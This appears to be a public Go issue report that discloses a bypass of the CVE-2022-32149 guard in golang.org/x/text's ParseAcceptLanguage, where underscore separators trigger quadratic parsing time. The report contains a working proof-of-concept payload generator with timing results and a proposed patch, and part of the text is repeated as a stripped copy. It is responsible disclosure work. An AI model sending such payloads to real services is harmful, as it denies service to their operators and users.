What version of Go are you using (go version)?
go1.26.1 darwin/arm64 (also reproduces on linux/amd64)
What did you do?
golang.org/x/text/language.ParseAcceptLanguage has a dash-count guard added in CL 442235 / commit 434eadcdbc3b0256971992e8c70027278364c72c (the CVE-2022-32149 fix):
// language/parse.go:169 (HEAD 3ef517e623a4bfc08d6457f87d73afda7af7d8e1)
if strings.Count(s, "-") > 1000 {
return nil, nil, errTagListTooLarge
}
The guard inspects only '-' (U+002D), but the scanner converts every '_' (U+005F) to '-' inside init:
// internal/language/parse.go:104-111
func (s *scanner) init() {
for i, c := range s.b {
if c == '_' {
s.b[i] = '-'
}
}
s.scan()
}
A payload built with '_' as the BCP 47 separator (e.g. POSIX en_US-style) bypasses the guard and re-triggers the O(N²) gobble path the original fix was meant to block.
Reproduction
go.mod:
module poc-xtext-pal-underscore
go 1.25.0
require golang.org/x/text v0.37.0
main.go:
package main
import (
"fmt"
"strings"
"time"
"golang.org/x/text/language"
)
func buildAttackPayload(nTokens int) string {
parts := make([]string, 0, nTokens+1)
parts = append(parts, "en")
for i := 0; i < nTokens; i++ {
parts = append(parts, "abcdefghi") // 9 chars, fails len <= 8
}
return strings.Join(parts, "_")
}
func main() {
for _, n := range []int{1000, 10000, 50000, 100000} {
p := buildAttackPayload(n)
t0 := time.Now()
_, _, err := language.ParseAcceptLanguage(p)
fmt.Printf("attack n=%d bytes=%d -count=%d _count=%d elapsed=%v err=%v\n",
n, len(p), strings.Count(p, "-"), strings.Count(p, "_"), time.Since(t0), err)
}
// Baseline: same payload with '-' separator -> guard fires
parts := make([]string, 0, 100001)
parts = append(parts, "en")
for i := 0; i < 100000; i++ {
parts = append(parts, "abcdefghi")
}
baseline := strings.Join(parts, "-")
t0 := time.Now()
_, _, err := language.ParseAcceptLanguage(baseline)
fmt.Printf("baseline bytes=%d -count=%d elapsed=%v err=%v\n",
len(baseline), strings.Count(baseline, "-"), time.Since(t0), err)
}
Measured (go1.26.1 darwin/arm64, M1 Pro, golang.org/x/text v0.37.0):
attack n=1000 bytes=10002 -count=0 _count=1000 elapsed=134.96µs err=language: tag is not well-formed
attack n=10000 bytes=100002 -count=0 _count=10000 elapsed=9.24ms err=language: tag is not well-formed
attack n=50000 bytes=500002 -count=0 _count=50000 elapsed=411.15ms err=language: tag is not well-formed
attack n=100000 bytes=1000002 -count=0 _count=100000 elapsed=1.35s err=language: tag is not well-formed
baseline bytes=1000002 -count=100000 elapsed=49.92µs err=tag list exceeds max length
Identical input length and token count; the _-separator path is ~27,000x slower because the dash-count guard does not fire. go tool pprof shows 96% of time in runtime.memmove called from internal/language.(*scanner).gobble. Time scales ~4x per 2x tokens, consistent with O(N²).
What did you expect to see?
ParseAcceptLanguage rejects the input via errTagListTooLarge because the post-init token count exceeds 1000.
What did you see instead?
ParseAcceptLanguage runs the O(N²) gobble path on the converted buffer and consumes ~1.35s of CPU per 1 MB request.
Suggested fix
Count '_' alongside '-' in the guard. The scanner aliases them, so the guard should too:
--- a/language/parse.go
+++ b/language/parse.go
@@ -166,8 +166,11 @@ func ParseAcceptLanguage(s string) (tag []Tag, q []float32, err error) {
}
}()
- if strings.Count(s, "-") > 1000 {
- return nil, nil, errTagListTooLarge
+ // The BCP 47 scanner aliases '_' to '-' in scanner.init
+ // (internal/language/parse.go); the guard must count both.
+ if strings.Count(s, "-")+strings.Count(s, "_") > 1000 {
+ return nil, nil, errTagListTooLarge
}
A defense-in-depth amendment is to apply an analogous separator-count guard at language.Parse and language.MustParse, which feed the same scanner and have no guard at all today.
Routing note
I originally sent this to security@golang.org 2026-05-25. The Go Security Officers determined 2026-05-27 it does not qualify as a security issue and invited a public upstream issue, which this is.
CC
@neild (Neal Patel) for visibility per the security-team thread.
What version of Go are you using (
go version)?go1.26.1 darwin/arm64 (also reproduces on linux/amd64)
What did you do?
golang.org/x/text/language.ParseAcceptLanguagehas a dash-count guard added in CL 442235 / commit434eadcdbc3b0256971992e8c70027278364c72c(the CVE-2022-32149 fix):The guard inspects only
'-'(U+002D), but the scanner converts every'_'(U+005F) to'-'insideinit:A payload built with
'_'as the BCP 47 separator (e.g. POSIXen_US-style) bypasses the guard and re-triggers the O(N²)gobblepath the original fix was meant to block.Reproduction
go.mod:main.go:Measured (go1.26.1 darwin/arm64, M1 Pro,
golang.org/x/textv0.37.0):Identical input length and token count; the
_-separator path is ~27,000x slower because the dash-count guard does not fire.go tool pprofshows 96% of time inruntime.memmovecalled frominternal/language.(*scanner).gobble. Time scales ~4x per 2x tokens, consistent with O(N²).What did you expect to see?
ParseAcceptLanguagerejects the input viaerrTagListTooLargebecause the post-inittoken count exceeds 1000.What did you see instead?
ParseAcceptLanguageruns the O(N²)gobblepath on the converted buffer and consumes ~1.35s of CPU per 1 MB request.Suggested fix
Count
'_'alongside'-'in the guard. The scanner aliases them, so the guard should too:A defense-in-depth amendment is to apply an analogous separator-count guard at
language.Parseandlanguage.MustParse, which feed the same scanner and have no guard at all today.Routing note
I originally sent this to
security@golang.org2026-05-25. The Go Security Officers determined 2026-05-27 it does not qualify as a security issue and invited a public upstream issue, which this is.CC
@neild (Neal Patel) for visibility per the security-team thread.